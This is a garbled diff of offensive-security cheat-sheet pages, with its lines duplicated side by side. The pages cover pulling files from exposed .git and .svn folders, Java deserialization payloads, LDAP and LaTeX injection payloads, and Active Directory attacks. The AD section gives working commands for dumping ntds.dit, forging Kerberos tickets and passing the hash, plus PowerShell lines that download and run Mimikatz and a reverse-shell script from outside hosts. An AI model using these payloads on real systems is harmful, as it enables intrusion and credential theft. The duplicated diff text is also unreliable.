git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
```
5. Read the data (flag.txt) 5. Read the data (flag.txt)
``` ```powershell
wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb mkdir .git/object/cb
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/ mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
``` ```
### Automatic way : diggit.py
```powershell
## Automatic way : diggit.py
```
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True] ./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1 ./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
@ -65,9 +63,10 @@ git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
-o is a hash of particular Git object to download -o is a hash of particular Git object to download
``` ```
## Alternative way : rip-git ### Alternative way : rip-git
```
perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/" ```powershell
perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"
git cat-file -p 07603070376d63d911f608120eb4b5489b507692 git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
@ -78,34 +77,32 @@ committer Michael <michael@easyctf.com> 1489389105 +0000
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
``` ```
## SVN - Source code management
### SVN example (Wordpress)
```powershell
# SVN - Source management
## SVN example (Wordpress)
```
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
``` ```
1. Download the svn database 1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
http://server/path_to_vulnerable_site/.svn/wc.db ```powershell
``` INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL); ```
```
2. Download interesting files 2. Download interesting files
remove \$sha1\$ prefix * remove \$sha1\$ prefix
add .svn-base postfix * add .svn-base postfix
use first two signs from hash as folder name inside pristine/ directory (94 in this case) * use first two signs from hash as folder name inside pristine/ directory (94 in this case)
create complete path, which will be: http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base * create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
### Automatic way
## Automatic way - ```powershell
```
git clone https://github.com/anantshri/svn-extractor.git git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py url “url with .svn available” python svn-extractor.py url "url with .svn available"
``` ```
## Thanks to ## Thanks to
* bl4de, https://github.com/bl4de/research/tree/master/hidden_directories_leaks * bl4de, https://github.com/bl4de/research/tree/master/hidden_directories_leaks
* bl4de, https://github.com/bl4de/security-tools/tree/master/diggit * bl4de, https://github.com/bl4de/security-tools/tree/master/diggit

View File

@ -1,8 +1,10 @@
# Java Deserialization # Java Deserialization
## Exploit ## Exploit
[ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. [ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
```
```java
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
@ -42,6 +44,7 @@ URLDNS |@gebl| | jre only vuln detect
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4 Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
Additional tools (integration ysoserial with Burp Suite): Additional tools (integration ysoserial with Burp Suite):
- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial) - [Burp-ysoserial](https://github.com/summitt/burp-ysoserial)
@ -52,6 +55,7 @@ JRE8u20_RCE_Gadget
[https://github.com/pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) [https://github.com/pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
## Thanks to ## Thanks to
* [ysoserial](https://github.com/frohoff/ysoserial)
* [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) - [Github - ysoserial](https://github.com/frohoff/ysoserial)
* [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) - [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)

View File

@ -1,24 +1,28 @@
# LDAP injection # LDAP injection
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy. LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
## Exploitation ## Exploitation
Example 1. Example 1.
```
```sql
user = *)(uid=*))(|(uid=* user = *)(uid=*))(|(uid=*
pass = password pass = password
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))" query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
``` ```
Example 2 Example 2
```
```sql
user = admin)(!(&(1=0 user = admin)(!(&(1=0
pass = q)) pass = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q)))) query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
``` ```
## Payloads ## Payloads
```
```text
* *
*)(& *)(&
*))%00 *))%00
@ -41,8 +45,10 @@ x' or name()='username' or 'x'='y
``` ```
## Blind Exploitation ## Blind Exploitation
We can extract using a bypass login We can extract using a bypass login
```
```sql
(&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO (&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO (&(sn=administrator)(password=B*)) : KO
@ -61,5 +67,6 @@ We can extract using a bypass login
``` ```
## Thanks to ## Thanks to
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection) * [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/) * [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)

View File

@ -1,12 +1,14 @@
# LaTex Injection # LaTex Injection
## Read file ## Read file
```bash ```bash
\input{/etc/passwd} \input{/etc/passwd}
\include{password} # load .tex file \include{password} # load .tex file
``` ```
Read single lined file Read single lined file
```bash ```bash
\newread\file \newread\file
\openin\file=/etc/issue \openin\file=/etc/issue
@ -16,24 +18,26 @@ Read single lined file
``` ```
Read multiple lined file Read multiple lined file
```bash ```bash
\newread\file \newread\file
\openin\file=/etc/passwd \openin\file=/etc/passwd
\loop\unless\ifeof\file \loop\unless\ifeof\file
\read\file to\fileline \read\file to\fileline
\text{\fileline} \text{\fileline}
\repeat \repeat
\closein\file \closein\file
``` ```
Read text file, keep the formatting Read text file, keep the formatting
```bash ```bash
\usepackage{verbatim} \usepackage{verbatim}
\verbatiminput{/etc/passwd} \verbatiminput{/etc/passwd}
``` ```
## Write file ## Write file
```bash ```bash
\newwrite\outfile \newwrite\outfile
\openout\outfile=cmd.tex \openout\outfile=cmd.tex
@ -42,12 +46,16 @@ Read text file, keep the formatting
``` ```
## Command execution ## Command execution
The input of the command will be redirected to stdin, use a temp file to get it. The input of the command will be redirected to stdin, use a temp file to get it.
```bash ```bash
\immediate\write18{env > output} \immediate\write18{env > output}
\input{output} \input{output}
``` ```
If you get any LaTex error, consider using base64 to get the result without bad characters If you get any LaTex error, consider using base64 to get the result without bad characters
```bash ```bash
\immediate\write18{env | base64 > test.tex} \immediate\write18{env | base64 > test.tex}
\input{text.tex} \input{text.tex}
@ -58,8 +66,8 @@ If you get any LaTex error, consider using base64 to get the result without bad
\input{|"/bin/hostname"} \input{|"/bin/hostname"}
``` ```
## Thanks to ## Thanks to
* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/) * [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)
* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a) * [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) * [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)

View File

@ -1,12 +1,13 @@
# Active Directory Attacks # Active Directory Attacks
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Most common paths to AD compromise](#most-common-paths-to-ad-compromise) * [Most common paths to AD compromise](#most-common-paths-to-ad-compromise)
* [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability) * [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability)
* [Open Shares](#open-shares) * [Open Shares](#open-shares)
* [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol) * [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol)
* [Dumping AD Domain Credentials ](#dumping-ad-domain-credentials-systemrootntdsntdsdit) * [Dumping AD Domain Credentials](#dumping-ad-domain-credentials-systemrootntdsntdsdit)
* [Password in AD User comment](#password-in-ad-user-comment) * [Password in AD User comment](#password-in-ad-user-comment)
* [Golden Tickets](#passtheticket-golden-tickets) * [Golden Tickets](#passtheticket-golden-tickets)
* [Silver Tickets](#passtheticket-silver-tickets) * [Silver Tickets](#passtheticket-silver-tickets)
@ -22,44 +23,51 @@
* [PrivEsc Local Admin - MS17-010 (Eternal Blue)](#privesc-local-admin---ms17-010-eternal-blue) * [PrivEsc Local Admin - MS17-010 (Eternal Blue)](#privesc-local-admin---ms17-010-eternal-blue)
* [From Local Admin to Domain Admin](#from-local-admin-to-domain-admin) * [From Local Admin to Domain Admin](#from-local-admin-to-domain-admin)
## Tools ## Tools
* [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows) * [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows)
* [Responder](https://github.com/SpiderLabs/Responder) * [Responder](https://github.com/SpiderLabs/Responder)
* [Mimikatz](https://github.com/gentilkiwi/mimikatz) * [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* [Ranger](https://github.com/funkandwagnalls/ranger) * [Ranger](https://github.com/funkandwagnalls/ranger)
* [BloodHound](https://github.com/BloodHoundAD/BloodHound) * [BloodHound](https://github.com/BloodHoundAD/BloodHound)
```powershell
apt install bloodhound #kali ```powershell
neo4j console apt install bloodhound #kali
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j neo4j console
./bloodhound Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
SharpHound.exe (from resources/Ingestor) ./bloodhound
or SharpHound.exe (from resources/Ingestor)
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public or
``` Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
```
* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) * [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
```bash
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec ```bash
crackmapexec smb -L git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
crackmapexec smb -M name_module -o VAR=DATA crackmapexec smb -L
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares crackmapexec smb -M name_module -o VAR=DATA
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload" crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami' crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
``` crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
```
* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) * [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
```powershell
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks" ```powershell
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');" powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks"
``` powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"
```
* [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script) * [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script)
## Most common paths to AD compromise ## Most common paths to AD compromise
### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) ### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
```bash ```bash
Exploit Python: https://www.exploit-db.com/exploits/35474/ Exploit Python: https://www.exploit-db.com/exploits/35474/
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068 Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
@ -72,6 +80,7 @@ mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
``` ```
## Open Shares ## Open Shares
```powershell ```powershell
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
ls # list files ls # list files
@ -81,20 +90,23 @@ put # replace a file
``` ```
Mount a share Mount a share
```powershell ```powershell
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
``` ```
### GPO - Pivoting with Local Admin & Passwords in SYSVOL ### GPO - Pivoting with Local Admin & Passwords in SYSVOL
:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
Find password in SYSVOL Find password in SYSVOL
```powershell ```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
``` ```
Decrypt a password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)) Decrypt a password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280))
```bash ```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
@ -102,6 +114,7 @@ e.g: echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl e
``` ```
Metasploit modules to enumerate shares and credentials Metasploit modules to enumerate shares and credentials
```c ```c
scanner/smb/smb_enumshares scanner/smb/smb_enumshares
windows/gather/enumshares windows/gather/enumshares
@ -109,12 +122,14 @@ windows/gather/credentials/gpp
``` ```
Crackmapexec modules Crackmapexec modules
```powershell ```powershell
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
``` ```
List all GPO for a domain List all GPO for a domain
```powershell ```powershell
Get-GPO -domaine DOMAIN.COM -all Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all Get-GPOReport -all -reporttype xml --all
@ -124,9 +139,10 @@ Get-NetGPO
Get-NetGPOGroup Get-NetGPOGroup
``` ```
### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit) ### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)
**Using ndtsutil**
#### Using ndtsutil
```powershell ```powershell
C:\>ntdsutil C:\>ntdsutil
ntdsutil: activate instance ntds ntdsutil: activate instance ntds
@ -136,28 +152,31 @@ ifm: quit
ntdsutil: quit ntdsutil: quit
``` ```
**Using Vshadow** #### Using Vshadow
```powershell ```powershell
vssadmin create shadow /for=C : vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
``` ```
You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
```powershell ```powershell
Import-Module .\Copy-VSS.ps1 Import-Module .\Copy-VSS.ps1
Copy-VSS Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\ Copy-VSS -DestinationDir C:\ShadowCopy\
``` ```
**Using vssadmin** #### Using vssadmin
```powershell ```powershell
vssadmin create shadow /for=C: vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
``` ```
#### Using DiskShadow (a Windows signed binary)
**Using DiskShadow (a Windows signed binary)**
```powershell ```powershell
diskshadow.txt contains : diskshadow.txt contains :
set context persistent nowriters set context persistent nowriters
@ -175,46 +194,55 @@ dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak reg.exe save hklm\system c:\exfil\system.bak
``` ```
**Extract hashes from ntds.dit** #### Extract hashes from ntds.dit
then you need to use secretsdump to extract the hashes then you need to use secretsdump to extract the hashes
```c
```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
``` ```
secretsdump also works remotely secretsdump also works remotely
```c
```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss ./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1 ./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
``` ```
#### Alternatives - modules
**Alternatives - modules**
Metasploit modules Metasploit modules
```c ```c
windows/gather/credentials/domain_hashdump windows/gather/credentials/domain_hashdump
``` ```
PowerSploit module PowerSploit module
```
```powershell
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
``` ```
CrackMapExec module CrackMapExec module
```bash
```powershell
cme smb 10.10.0.202 -u username -p password --ntds vss cme smb 10.10.0.202 -u username -p password --ntds vss
``` ```
### Password in AD User comment ### Password in AD User comment
```powershell ```powershell
enum4linux | grep -i desc enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas: There are 3-4 fields that seem to be common in most AD schemas:
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password. UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
``` ```
### PassTheTicket Golden Tickets ### PassTheTicket Golden Tickets
Forge a TGT, require krbtgt key
Forging a TGT require the krbtgt key
Mimikatz version Mimikatz version
```powershell ```powershell
Get info - Mimikatz Get info - Mimikatz
lsadump::dcsync /user:krbtgt lsadump::dcsync /user:krbtgt
@ -227,7 +255,8 @@ kerberos::tgt
``` ```
Meterpreter version Meterpreter version
```c
```powershell
Get info - Meterpreter(kiwi) Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt dcsync_ntlm krbtgt
dcsync krbtgt dcsync krbtgt
@ -242,6 +271,7 @@ kerberos_ticket_list
``` ```
Using a ticket on Linux Using a ticket on Linux
```powershell ```powershell
Convert the ticket kirbi to ccache with kekeo Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi misc::convert ccache ticket.kirbi
@ -262,7 +292,9 @@ NOTE: You may need to comment the proxy_dns setting in the proxychains configura
``` ```
### PassTheTicket Silver Tickets ### PassTheTicket Silver Tickets
Forging a TGS require machine accound password (key) from the KDC Forging a TGS require machine accound password (key) from the KDC
```powershell ```powershell
Create a ticket for the service Create a ticket for the service
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
@ -274,10 +306,12 @@ export KRB5CCNAME=/home/user/ticket.ccache
``` ```
### Trust Tickets ### Trust Tickets
TODO TODO
### Kerberoast ### Kerberoast
```c
```powershell
https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf
https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/ https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/
https://room362.com/post/2016/kerberoast-pt1/ https://room362.com/post/2016/kerberoast-pt1/
@ -286,15 +320,17 @@ https://room362.com/post/2016/kerberoast-pt1/
(Impacket) Kerberoasting (ldap query, tgs in JTR format) (Impacket) Kerberoasting (ldap query, tgs in JTR format)
``` ```
### Pass-the-Hash ### Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.
```c
```powershell
use exploit/windows/smb/psexec use exploit/windows/smb/psexec
set RHOST 10.2.0.3 set RHOST 10.2.0.3
set SMBUser jarrieta set SMBUser jarrieta
set SMBPass nastyCutt3r set SMBPass nastyCutt3r
// NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack. # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
// NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee) # NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp set PAYLOAD windows/meterpreter/bind_tcp
run run
shell shell
@ -311,13 +347,15 @@ sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm has
``` ```
### OverPass-the-Hash (pass the key) ### OverPass-the-Hash (pass the key)
Request a TGT with only the NT hash Request a TGT with only the NT hash
```
```powershell
Using impacket Using impacket
./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
chmod 600 tgwynn.ccache chmod 600 tgwynn.ccache
also with the AES Key if you have it also with the AES Key if you have it
./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
@ -327,19 +365,24 @@ klist
``` ```
### Dangerous Built-in Groups Usage ### Dangerous Built-in Groups Usage
AdminSDHolder AdminSDHolder
```powershell ```powershell
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)" Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)" Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or or
([adsisearcher]"(AdminCount=1)").findall() ([adsisearcher]"(AdminCount=1)").findall()
``` ```
### Trust relationship between domains ### Trust relationship between domains
```powershell ```powershell
nltest /trusted_domains nltest /trusted_domains
``` ```
or
or
```powershell ```powershell
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
@ -348,11 +391,13 @@ SourceName TargetName TrustType TrustDirection
domainA.local domainB.local TreeRoot Bidirectional domainA.local domainB.local TreeRoot Bidirectional
``` ```
## Privilege Escalation ## Privilege Escalation
### PrivEsc Local Admin - Token Impersonation (RottenPotato) ### PrivEsc Local Admin - Token Impersonation (RottenPotato)
Binary available at : https://github.com/foxglovesec/RottenPotato
Binary available at : https://github.com/breenmachine/RottenPotatoNG Binary available at : https://github.com/foxglovesec/RottenPotato
Binary available at : https://github.com/breenmachine/RottenPotatoNG
```c ```c
getuid getuid
getprivs getprivs
@ -369,10 +414,11 @@ Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};" Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
``` ```
